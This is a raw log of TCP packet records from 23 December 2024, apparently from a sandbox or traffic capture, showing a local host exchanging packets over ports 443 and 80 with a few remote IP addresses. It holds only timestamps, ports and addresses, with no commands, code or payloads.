Dec 23, 2024 06:53:24.027683020 CET	443	49719	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:24.027787924 CET	443	49719	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:24.027896881 CET	49719	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:24.028038979 CET	49719	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:24.028103113 CET	443	49719	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:24.275893927 CET	49725	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:24.275939941 CET	443	49725	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:24.276042938 CET	49725	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:24.276375055 CET	49725	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:24.276393890 CET	443	49725	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:25.390542984 CET	49731	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:25.390604019 CET	443	49731	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:25.390681982 CET	49731	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:25.391307116 CET	49731	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:25.391343117 CET	443	49731	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:25.489000082 CET	443	49725	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:25.489154100 CET	49725	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:25.490601063 CET	49725	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:25.490612030 CET	443	49725	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:25.491044998 CET	443	49725	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:25.492708921 CET	49725	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:25.492863894 CET	49725	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:25.492903948 CET	443	49725	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:25.492989063 CET	49725	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:25.492999077 CET	443	49725	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:26.454920053 CET	443	49725	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:26.455039024 CET	443	49725	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:26.455116034 CET	49725	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:26.455262899 CET	49725	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:26.455286026 CET	443	49725	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:26.889663935 CET	49733	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:26.889722109 CET	443	49733	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:26.889787912 CET	49733	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:26.890175104 CET	49733	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:26.890194893 CET	443	49733	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:27.639976025 CET	443	49731	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:27.640089035 CET	49731	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:27.642501116 CET	49731	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:27.642508984 CET	443	49731	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:27.642739058 CET	443	49731	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:27.644539118 CET	49731	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:27.644640923 CET	49731	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:27.644645929 CET	443	49731	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:27.644854069 CET	49731	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:27.687333107 CET	443	49731	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:28.102837086 CET	443	49733	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:28.102920055 CET	49733	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:28.104403973 CET	49733	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:28.104425907 CET	443	49733	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:28.104779959 CET	443	49733	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:28.106188059 CET	49733	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:28.106328011 CET	49733	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:28.106333971 CET	443	49733	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:28.305701017 CET	443	49731	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:28.305780888 CET	443	49731	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:28.305841923 CET	49731	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:28.306106091 CET	49731	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:28.306118965 CET	443	49731	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:28.862148046 CET	443	49733	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:28.862274885 CET	443	49733	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:28.862329006 CET	49733	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:28.862473011 CET	49733	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:28.862499952 CET	443	49733	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:29.354700089 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:29.354738951 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:29.354805946 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:29.355130911 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:29.355143070 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.638494968 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.639278889 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.640146971 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.640161037 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.640518904 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.642066002 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.642813921 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.642872095 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.643050909 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.643085957 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.643207073 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.643246889 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.643383026 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.643407106 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.643563986 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.643590927 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.643773079 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.643805027 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.691334009 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.691467047 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.691503048 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.735375881 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.735594988 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.735646009 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.735663891 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.783333063 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.783525944 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.783546925 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.831330061 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.831475973 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.879324913 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.883104086 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:30.883243084 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:30.883251905 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:31.003643990 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:33.002964020 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:33.003104925 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:33.003196955 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:33.003349066 CET	49740	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:33.003366947 CET	443	49740	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:33.066925049 CET	49752	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:33.066982985 CET	443	49752	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:33.067091942 CET	49752	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:33.067492008 CET	49752	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:33.067507029 CET	443	49752	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:34.282099962 CET	443	49752	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:34.282181025 CET	49752	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:34.283411980 CET	49752	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:34.283435106 CET	443	49752	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:34.283757925 CET	443	49752	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:34.293103933 CET	49752	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:34.293138027 CET	49752	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:34.293198109 CET	443	49752	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:35.038081884 CET	443	49752	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:35.038228035 CET	443	49752	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:35.038294077 CET	49752	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:35.038413048 CET	49752	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:35.038436890 CET	443	49752	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:35.038448095 CET	49752	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:35.038455009 CET	443	49752	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:35.041685104 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:35.161230087 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:35.161355019 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:35.161518097 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:35.280956984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:35.885912895 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:35.885962009 CET	443	49759	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:35.886034012 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:35.886593103 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:35.886617899 CET	443	49759	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:36.493980885 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.494044065 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.494055986 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.494098902 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.494332075 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.494343042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.494349957 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.494359970 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.494379044 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.494474888 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.494793892 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.494812012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.494817972 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.494875908 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.613678932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.613720894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.613768101 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.685899973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.686019897 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.686077118 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.690042019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.690150023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.690191984 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.698410988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.701426983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.701479912 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.701541901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.709836960 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.709889889 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.709924936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.718210936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.718251944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.718307018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.726588011 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.726629019 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.726708889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.735003948 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.735047102 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.735095024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.743336916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.743381023 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.743452072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.751720905 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.751768112 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.751804113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.760067940 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.760107994 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.760261059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.768471003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.768520117 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.877924919 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.878071070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.878153086 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.880640030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.880759954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.880826950 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.885993958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.886080980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.886126995 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.891344070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.891458988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.891509056 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.896497011 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.896580935 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.896616936 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.901618958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.901706934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.901753902 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.906554937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.906632900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.906708956 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.911492109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.911547899 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.911588907 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.916383982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.916495085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.916543961 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.921293974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.921370029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.921447992 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.926268101 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.926394939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.926435947 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.931232929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.931252003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.931293011 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.936089039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.936201096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.936245918 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.941009998 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.941140890 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.941201925 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.946011066 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.946141958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.946233988 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.950921059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.950962067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.951004028 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.955832958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.955921888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.955965996 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.960714102 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.960808992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.960855007 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.965653896 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.965718985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:36.965764046 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:36.970545053 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.023427010 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.069960117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.070099115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.070153952 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.072017908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.072118044 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.072166920 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.076117039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.077634096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.077678919 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.077713013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.081839085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.081891060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.081902981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.085799932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.085855007 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.085885048 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.089658976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.089718103 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.089739084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.093478918 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.093523026 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.093554020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.097022057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.097054005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.097079992 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.100641012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.100686073 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.100748062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.104352951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.104367018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.104420900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.107960939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.108045101 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.108084917 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.111567974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.111608028 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.111610889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.115262032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.115322113 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.115355015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.118829012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.118874073 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.118928909 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.122452974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.122503996 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.122536898 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.126095057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.126136065 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.126205921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.129693985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.129749060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.129817963 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.133348942 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.133394003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.133480072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.136997938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.137041092 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.137084961 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.140669107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.140713930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.140724897 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.144287109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.144335032 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.144587040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.147922039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.147969961 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.147972107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.151520967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.151576042 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.151599884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.155128002 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.155224085 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.155287981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.158772945 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.158821106 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.158853054 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.162446022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.162492037 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.162523985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.166030884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.166094065 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.166126013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.169744968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.169786930 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.169945955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.173300982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.173355103 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.173376083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.176935911 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.176978111 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.177018881 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.180573940 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.180614948 CET	49758	80	192.168.2.6	185.215.113.16
